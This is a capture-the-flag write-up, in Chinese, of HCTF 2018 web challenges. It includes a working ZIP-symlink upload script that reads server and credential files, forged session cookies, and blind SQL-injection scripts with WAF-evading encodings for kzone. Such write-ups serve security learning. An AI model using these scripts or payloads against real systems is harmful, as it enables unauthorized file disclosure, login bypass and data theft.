HCTF 2018 Web Write-up

CTF

本文总阅读量
Posted by Xiaoxi on November 12, 2018

HCTF 2018

以Redbud参赛,最终拿了第六,前排战队的实力实在是太强。

2

Warmup

文件读取

http://warmup.2018.hctf.io/index.php?file=source.php%3f../../../../../../../ffffllllaaaagggg

Hide and seek

第一天看了半天,总感觉这个题缺少条件。然后,出题人修修补补,改了又改,心累。最后考察的知识点也没啥营养性,感觉比较无趣。

很奇怪,为啥现在大家出题都不会自己测一下环境有没有问题,直接就上线了…

docker环境:https://github.com/m0xiaoxi/CTF_Web_docker/tree/master/HCTF2018/Hideandseek

第一个知识点,ZIP 软连接解压,可以任意文件读取。

HTTP包如下

POST /upload HTTP/1.1
Host: hideandseek.2018.hctf.io
User-Agent: Mozilla/5.0 (Linux; Android 9.0; SAMSUNG-SM-T377A Build/NMF26X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Mobile Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------14689847831755241969368914144
Content-Length: 515
Referer: http://hideandseek.2018.hctf.io/
Cookie: session=eyJ1c2VybmFtZSI6Im1veGlhb3hpIn0.Dsf5zA.yM84QphtcfEoykAu2lwjxp7_QvI
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

-----------------------------14689847831755241969368914144
Content-Disposition: form-data; name="the_file"; filename="hellow.zip"
Content-Type: application/zip

PK
kjM
¹)linkUT	—kæ[—kæ[ux÷/etc/passwdPK
kjM
¹)í¡linkUT—kæ[ux÷PKJI
-----------------------------14689847831755241969368914144
Content-Disposition: form-data; name="submit"

Submit
-----------------------------14689847831755241969368914144--

写了一个EXP批量文件读取:

import requests
import random 
import os
import string
import time
import zipfile
import sys

def generate_zip(path,i):
    zip_name =  'moxiaoxi'+str(i)+'.zip'
    link_namme = 'moxiaoxi'+str(i)
    os.system("ln -s {} {}".format(path,link_namme))
    print "ln -s {} {}".format(path,link_namme)
    os.system("zip -y {} {}".format(zip_name,link_namme))
    with open(zip_name,'r') as f:
        data = f.read()
    return zip_name,data



def exp(path,i):
    zip_name,data = generate_zip(path,i)
    # zip_name,data = rewrite(path,i)
    session = requests.Session()
    paramsPost = {"submit":"Submit"}
    paramsMultipart = [('the_file', (zip_name, data, 'application/zip'))]
    headers = {"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (Linux; Android 9.0; SAMSUNG-SM-T377A Build/NMF26X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Mobile Safari/537.36","Referer":"http://hideandseek.2018.hctf.io/","Connection":"close","Accept-Language":"zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3","Accept-Encoding":"gzip, deflate","DNT":"1"}
    cookies = {"session":"eyJ1c2VybmFtZSI6Im1veGlhb3hpIn0.Dsf5zA.yM84QphtcfEoykAu2lwjxp7_QvI"}
    response = session.post("http://hideandseek.2018.hctf.io/upload", data=paramsPost, files=paramsMultipart, headers=headers, cookies=cookies)

    print("Status code:   %i" % response.status_code)
    print("Response body: %s" % response.content)
    if len(response.content)>5:
        # print("Response body: %s" % response.content)
        with open('out.txt','a+') as f:
            f.write('\n\n{}\n\n{}'.format(path,response.content)) 


if __name__=='__main__':
    name =  'test'+''.join(random.sample(string.ascii_letters + string.digits, 4))
    exp(sys.argv[1],name)

一开始,出题人环境没配好,可以读取/root/.bash_history,还蛮有趣,监控出题人操作。

$ python hideandseek.py /root/.bash_history
ln -s /root/.bash_history moxiaoxitestkYcG
  adding: moxiaoxitestkYcG (stored 0%)
Status code:   200
Response body: ls
curl http://127.0.0.1:80
cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log
ps
ps -A
kill 86
ps -A
cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log
ls
cd uploads/
ls
rm 1.zip
ls
cd dead_z3r0_a230418bbeaf0c06f83a51f6ff9d9b8caf23dc6a3aa4b9fa3f6ab9b85cff2212.zip_/
ls
ls -l
file dead_z3r0
cd ..
cd ..
ls
cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +1000 | head -n 100
cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +4000 | head -n 100
cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +10000 | head -n 100
cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +12000 | head -n 100
cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +50000 | head -n 100
cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +40000 | head -n 100
cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +30000 | head -n 100
cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +35000 | head -n 100
cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +38000 | head -n 100
cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +36000 | head -n 100
cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +37000 | head -n 100
cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +36500 | head -n 100
cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +1 | head -n 100
cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +5000 | head -n 100
cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +50000 | head -n 100
cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +60000 | head -n 100
cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +60000 | head -n 100
cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +80000 | head -n 100
cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +100000 | head -n 100
cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +300000 | head -n 100
cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +200000 | head -n 100
cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +200000 | head -n 100| grep linking
cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +100000 | head -n 10000| grep linking
cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +10000 | head -n 10000| grep linking
cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +200000 | head -n 10000| grep linking
ps -A
exit
cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +200000 | head -n 10000| grep linking
cat /etc/passwd
cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +200000 | head -n 10000| grep 'uwsgi'
cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +200000 | head -n 10000| grep 'uw'
cat /app/hard_t0_guess_dkp2s6d9sa/hard_t0_guess_also_9u5c_main.py
exit

正解应该先读取/proc/self/environ,得到路径。然后读取main函数。

很期待uwsgi+nginx+flask环境的组合问题,可惜…

python hideandseek.py /proc/self/environ 
ln -s /proc/self/environ moxiaoxitestzGFp
  adding: moxiaoxitestzGFp (stored 0%)
Status code:   200
Response body: UWSGI_ORIGINAL_PROC_NAME=/usr/local/bin/uwsgiSUPERVISOR_GROUP_NAME=uwsgiHOSTNAME=e04ab7732827SHLVL=0PYTHON_PIP_VERSION=18.1HOME=/rootGPG_KEY=0D96DF4D4110E5C43FBFB17F2D347EA6AA65421DUWSGI_INI=/app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.iniNGINX_MAX_UPLOAD=0UWSGI_PROCESSES=16STATIC_URL=/staticUWSGI_CHEAPER=2NGINX_VERSION=1.13.12-1~stretchPATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binNJS_VERSION=1.13.12.0.2.0-1~stretchLANG=C.UTF-8SUPERVISOR_ENABLED=1PYTHON_VERSION=3.6.6NGINX_WORKER_PROCESSES=autoSUPERVISOR_SERVER_URL=unix:///var/run/supervisor.sockSUPERVISOR_PROCESS_NAME=uwsgiLISTEN_PORT=80STATIC_INDEX=0PWD=/app/hard_t0_guess_n9f5a95b5ku9fgSTATIC_PATH=/app/staticPYTHONPATH=/appUWSGI_RELOADS=0
 python hideandseek.py /app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.ini
ln -s /app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.ini moxiaoxitestE5jc
  adding: moxiaoxitestE5jc (stored 0%)
Status code:   200
Response body: [uwsgi]
module = hard_t0_guess_n9f5a95b5ku9fg.hard_t0_guess_also_df45v48ytj9_main
callable=app

得到源码:

 # -*- coding: utf-8 -*-
from flask import Flask,session,render_template,redirect, url_for, escape, request,Response
import uuid
import base64
import random
import flag
from werkzeug.utils import secure_filename
import os
random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['zip'])

def allowed_file(filename):
    return '.' in filename and \
           filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS


@app.route('/', methods=['GET'])
def index():
    error = request.args.get('error', '')
    if(error == '1'):
        session.pop('username', None)
        return render_template('index.html', forbidden=1)

    if 'username' in session:
        return render_template('index.html', user=session['username'], flag=flag.flag)
    else:
        return render_template('index.html')


@app.route('/login', methods=['POST'])
def login():
    username=request.form['username']
    password=request.form['password']
    if request.method == 'POST' and username != '' and password != '':
        if(username == 'admin'):
            return redirect(url_for('index',error=1))
        session['username'] = username
    return redirect(url_for('index'))


@app.route('/logout', methods=['GET'])
def logout():
    session.pop('username', None)
    return redirect(url_for('index'))

@app.route('/upload', methods=['POST'])
def upload_file():
    if 'the_file' not in request.files:
        return redirect(url_for('index'))
    file = request.files['the_file']
    if file.filename == '':
        return redirect(url_for('index'))
    if file and allowed_file(file.filename):
        filename = secure_filename(file.filename)
        file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
        if(os.path.exists(file_save_path)):
            return 'This file already exists'
        file.save(file_save_path)
    else:
        return 'This file is not a zipfile'


    try:
        extract_path = file_save_path + '_'
        os.system('unzip -n ' + file_save_path + ' -d '+ extract_path)
        read_obj = os.popen('cat ' + extract_path + '/*')
        file = read_obj.read()
        read_obj.close()
        os.system('rm -rf ' + extract_path)
    except Exception as e:
        file = None

    os.remove(file_save_path)
    if(file != None):
        if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1):
            return redirect(url_for('index', error=1))
    return Response(file)


if __name__ == '__main__':
    #app.run(debug=True)
    app.run(host='127.0.0.1', debug=True, port=10008)

关注random.seed(uuid.getnode()) ,uuid.getnode()是取mac地址转换的,所以为固定值。 我们只需要读取远程mac地址,然后本地搭建一个环境,伪造一波就好。这里伪造的时候,需要注意python版本为python3.

# moxiaoxi @ moxiaoxideMacBook-Pro in ~/Desktop/ZIP [13:13:39]
$ python hideandseek.py /sys/class/net/eth0/address
ln -s /sys/class/net/eth0/address moxiaoxitestTL7W
  adding: moxiaoxitestTL7W (stored 0%)
Status code:   200
Response body: 12:34:3e:14:7c:62

https://www.vultr.com/tools/mac-converter/?mac_address=02%3A42%3Aa2%3A2a%3A1e%3A42

seed为20015589129314,

GET / HTTP/1.1
Host: hideandseek.2018.hctf.io
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: session=eyJ1c2VybmFtZSI6ImFkbWluIn0.W-e7Sw.IvMRaI59t9NWnTGtNbJn0oBkMmY
Connection: close

1

Admin

docker 环境:https://github.com/m0xiaoxi/CTF_Web_docker/tree/master/HCTF2018/admin

这题的思路和Hide and seek一样。

首先,源码泄漏https://github.com/woadsl1234/hctf_flask/

替换登陆name为admin。然后,登陆一下,得到加密的cookie

@app.route('/login', methods = ['GET', 'POST'])
def login():
    if current_user.is_authenticated:
        return redirect(url_for('index'))

    form = LoginForm()
    if request.method == 'POST':
        name = strlower(form.username.data)
        session['name'] = 'admin'#name
        print session
        user = User.query.filter_by(username=name).first()
        if user is None or not user.check_password(form.password.data):
            flash('Invalid username or password')
            return redirect(url_for('login'))
        login_user(user, remember=form.remember_me.data)
        return redirect(url_for('index'))
    return render_template('login.html', title = 'login', form = form)

与远程交互,替换一下cookie就可以得到flag

GET /index HTTP/1.1
Host: admin.2018.hctf.io
User-Agent: Mozilla/5.0 (Linux; Android 9.0; SAMSUNG-SM-T377A Build/NMF26X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Mobile Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://admin.2018.hctf.io/login
Cookie: session=.eJxFkMuKwkAQRX9l6LWLpEc3ARdKYnCgqjF0DF0byWg06YcDUUls8d-nkcFZFFw4cLi3Hmx37JtLy5Jrf2smbNcdWPJgH98sYSI1d8q3Fh3MSGef5LJRpKtO5JuI5FaLSk2FhClKNUO_GdGpKNwdZDmgzDi4TQQui0WejSpkJU8D6qIl2Vr0EEP-pUEHZ04tSDIiL6ySJadq1YIvPTiIUC-t4qUPjkHIxUgOOLp1DPJgSS8GUWHwlXP2nLD9pT_urj-mOb8nKL3nlFqLPMzQJlZBh-nSUKU86pMntw71TYxpGWpsLTk0YjF_6TpXn5q3CXgh4Y-ca_cPVFVc62r6ArdL078-yOKIPX8BlRpvtQ.W-bNtA.azJFSmLfN1OcVVz3Lg5pLV5WlMw; remember_token=10|80e01e90de15e2f414ab634ab723fcdc0e394e97522b75ee66831a0b34c86add2e29334b0fd4b3336e1bb32c9c6a693f5b627882eba17fb4ea7124e397159373
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1


得到flag

hctf1

kzone

docker环境:https://github.com/m0xiaoxi/CTF_Web_docker/tree/master/HCTF2018/kzone

同理,源码泄漏

http://kzone.2018.hctf.io/www.zip

审计,需要修改userAgent为QQ,比较好看题

       (function () {
            var sUserAgent = navigator.userAgent.toLowerCase();
            if (sUserAgent.match(/QQ/i) != 'qq') {
                window.location.href = 'https://qzone.qq.com';
            }
        })();

在member.php存在注入。主要区别在于setcookie.如果查询语句正常,只会出现两个setcookie。否则为四个。

if (isset($_COOKIE["islogin"])) {
    if ($_COOKIE["login_data"]) {
        $login_data = json_decode($_COOKIE['login_data'], true);
        $admin_user = $login_data['admin_user'];
        $udata = $DB->get_row("SELECT * FROM fish_admin WHERE username='$admin_user' limit 1");
        if ($udata['username'] == '') {
            setcookie("islogin", "", time() - 604800);
            setcookie("login_data", "", time() - 604800);
        }
        $admin_pass = sha1($udata['password'] . LOGIN_KEY);
        if ($admin_pass == $login_data['admin_pass']) {
            $islogin = 1;
        } else {
            setcookie("islogin", "", time() - 604800);
            setcookie("login_data", "", time() - 604800);
        }
    }
}

注入点,查询出错,会出现4个setcookie,否则为两个setcookie

写脚本注入admin

import requests
import string

def test_once(index,s):
    session = requests.Session()
    paramsPost = {"login":"Login","pass":"1","user":"admin"}
    cookies = {"login_data":"{\"admin_user\":\"admin'/**/and/**/((select/**/1/**/from/**/fish_admin/**/where/**/right(passw\\u006frd,"+str(index)+")/**/in/**/('"+s+"')))\\u0023\",\"admin_pass\":\"2\"}","islogin":"1"}
    headers = {"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0","Referer":"http://kzone.2018.hctf.io/admin/login.php","Connection":"close","Accept-Language":"zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2","Content-Type":"application/x-www-form-urlencoded"}
    response = session.post("http://kzone.2018.hctf.io/admin/login.php", data=paramsPost, headers=headers, cookies=cookies)
    flag = response.headers['Set-Cookie'].count('islogin')
    if flag == 1:
        print(index,s,'yes')
        return True
    elif flag == 2:
        print(index,s,'no')
    else:
        print('[-] may be error,{}'.format(s))
    return False

def hack():
    ss = string.printable
    num = 41
    flag = ''
    end = 0
    i = 1
    for i in range(1,num):
        for s in ss:
            if test_once(i,s+flag):
                flag = s+flag
                break
        print flag
    print flag

if __name__=='__main__':
    hack()
    # test_once(1,'6')

发现被改的没办法反解。

尝试伪造登陆了一波,发现登陆后也没什么东西。

POST /admin/list.php HTTP/1.1
Host: kzone.2018.hctf.io
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Referer: http://kzone.2018.hctf.io/admin/login.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 39
Cookie: islogin=1;login_data={"admin_user":"admin2'/**/uni\u006fn/**/select/**/1,'admin','cda9997020c313233bd2c1ff30ad5b15',4,5,6\u0023","admin_pass":"09891eef17901e93b7b259ae6a8e3654e08b5eaa"}
Connection: close
Upgrade-Insecure-Requests: 1

user=admin&pass=moxiaoxi111&login=Login

后面在数据库里翻到了flag。

import requests
import string

def get_payload():
    # s = "admin' and ((select count(*) from information_schema.tables where table_schema='hctf_kouzone')=5);"
    # s = """select 1 from information_schema.tables where table_schema='hctf_kouzone' and table_name='fish_admin'"""
    # s = """select (select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema='hctf_kouzone' limit 0,1)=10"""
    # s = """select (select ascii(substr(column_name,1,1)) from information_schema.columns where table_schema='hctf_kouzone' and table_name='F1444g' limit 0,1)=10"""
    s = """select (select ascii(substr(F1a9,1,1)) from F1444g limit 0,1)=10"""
    s = "admin' and ({});".format(s)
    print "select * from fish_admin where username='{}".format(s)
    s = s.replace(';','\u0023')
    s = s.replace(' ','/**/')
    print s
    s = s.replace('or','\u006fr')
    s = s.replace('=','\u003d')
    s = s.replace("sub","\u0073\u0075\u0062")
    s = s.replace('ascii','\u0061\u0073\u0063\u0069\u0069')
    print s
    return s

def test_once(index,s):
    session = requests.Session()
    paramsPost = {"login":"Login","pass":"1","user":"admin"}
    # cookies = {"login_data":"{\"admin_user\":\"admin'/**/and/**/((select/**/1/**/from/**/F1444g/**/where/**/right(F1a9,"+str(index)+")/**/in/**/('"+s+"')))\\u0023\",\"admin_pass\":\"2\"}","islogin":"1"}
    # payload = "admin'/**/and/**/(select/**/(select/**/\u0061\u0073\u0063\u0069\u0069(\u0073\u0075\u0062str(table_name,{},1))/**/from/**/inf\u006frmation_schema.tables/**/where/**/table_schema\u003d'hctf_kouzone'/**/limit/**/0,1)\u003d{})\u0023".format(index,s)
    # F1444g
    # payload = "admin'/**/and/**/(select/**/(select/**/\u0061\u0073\u0063\u0069\u0069(\u0073\u0075\u0062str(column_name,{},1))/**/from/**/inf\u006frmation_schema.columns/**/where/**/table_schema\u003d'hctf_kouzone'/**/and/**/table_name\u003d'F1444g'/**/limit/**/0,1)\u003d{})\u0023".format(index,s)
    # F1a9
    payload = "admin'/**/and/**/(select/**/(select/**/\u0061\u0073\u0063\u0069\u0069(\u0073\u0075\u0062str(F1a9,{},1))/**/from/**/F1444g/**/limit/**/0,1)\u003d{})\u0023".format(index,s)
    cookies = {"login_data":"{\"admin_user\":\""+payload+"\",\"admin_pass\":\"2\"}","islogin":"1"}
    # cookies = {"login_data":"{\"admin_user\":\"admin'/**/and/**/((select/**/1/**/from/**/F1444g/**/where/**/right(F1a9,"+str(index)+")/**/in/**/('"+s+"')))\\u0023\",\"admin_pass\":\"2\"}","islogin":"1"}
    headers = {"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0","Referer":"http://kzone.2018.hctf.io/admin/login.php","Connection":"close","Accept-Language":"zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2","Content-Type":"application/x-www-form-urlencoded"}
    response = session.post("http://kzone.2018.hctf.io/admin/login.php", data=paramsPost, headers=headers, cookies=cookies)
    flag = response.headers['Set-Cookie'].count('islogin')
    if flag == 1:
        print(index,s,'yes')
        return True
    elif flag == 2:
        print(index,s,'no')
    else:
        print('[-] may be error,{}'.format(s))
    return False





def hack():
    ss = string.printable
    num = 41
    flag = ''
    end = 0
    i = 1
    for i in range(1,num):
        for s in ss:
            if test_once(i,ord(s)):
                flag += s
                break
            
        print flag
    print flag


if __name__=='__main__':
    # hack()
    # test_once(1,'6')
    # get_payload()
    hack()

这题有趣的点在于$login_data = json_decode($_COOKIE['login_data'], true);直接bypass waf。

Share

扫描得到robots.txt 源码

http://share.2018.hctf.io/robots.txt

/* this terrible code */
class FileController < ApplicationController
  before_action :authenticate_user!
  before_action :authenticate_role
  before_action :authenticate_admin
  protect_from_forgery :except => [:upload , :share_people_test]

# post /file/upload
  def upload
    if(params[:file][:myfile] != nil && params[:file][:myfile] != "")
      file = params[:file][:myfile]
      name = Base64.decode64(file.original_filename)
      ext = name.split('.')[-1]
      if ext == name || ext ==nil
        ext=""
      end
      share = Tempfile.new(name.split('.'+ext)[0],Rails.root.to_s+"/public/upload")
      share.write(Base64.decode64(file.read))
      share.close
      File.rename(share.path,share.path+"."+ext)
      tmp = Sharefile.new
      tmp.public = 0
      tmp.path = share.path
      tmp.name = name
      tmp.tempname= share.path.split('/')[-1]+"."+ext
      tmp.context = params[:file][:context]
      tmp.save
    end
    redirect_to root_path
  end

# post /file/Alpha_test
  def Alpha_test
    if(params[:fid] != "" && params[:uid] != "" && params[:fid] != nil && params[:uid] != nil)
      fid = params[:fid].to_i
      uid = params[:uid].to_i
      if(fid > 0 && uid > 0)
        if(Sharelist.find_by(sharefile_id: fid)==nil)
          if(Sharelist.count("user_id = ?", uid.to_s) <5)
            share = Sharelist.new
            share.sharefile_id = fid
            share.user_id = uid
            share.save
          end
        end
      end
    end
    redirect_to(root_path)
  end

  def share_file_to_all
    file = Sharefile.find(params[:fid])
    File.rename(file.path,Rails.root+"/public/download/"+file.name)
    file.public = true
    file.path = Rails.root+"/public/download/"+file.name
    file.save
  end

end


views
|-- devise
|   |-- confirmations
|   |-- mailer
|   |-- passwords
|   |-- registrations
|   |   `-- new.html.erb
|   |-- sessions
|   |   `-- new.html.erb
|   |-- shared
|   `-- unlocks
|-- file
|-- home
|   |-- Alphatest.erb
|   |-- addtest.erb
|   |-- home.erb
|   |-- index.html.erb
|   |-- publiclist.erb
|   |-- share.erb
|   `-- upload.erb
|-- layouts
|   |-- application.html.erb
|   |-- mailer.html.erb
|   `-- mailer.text.erb
`-- recommend
     `-- show.erb
# post /file/Alpha_test
  def Alpha_test
    if(params[:fid] != "" && params[:uid] != "" && params[:fid] != nil && params[:uid] != nil)
      fid = params[:fid].to_i
      uid = params[:uid].to_i
      if(fid > 0 && uid > 0)
        if(Sharelist.find_by(sharefile_id: fid)==nil)
          if(Sharelist.count("user_id ="+ uid.to_s) <5)
            share = Sharelist.new
            share.sharefile_id = fid
            share.user_id = uid
            share.save
          end
        end
      end
    end
    redirect_to(root_path)
  end

后续看WP,有趣则补。

Game

逻辑问题

http://game.2018.hctf.io/web2/user.php?order=password

可以看到password的排序。可以疯狂注册用户,通过密码逐位与admin密码比较,从而得到admin密码。

bestrong

后续看WP,有趣则补。

bottle

后续看WP,有趣则补。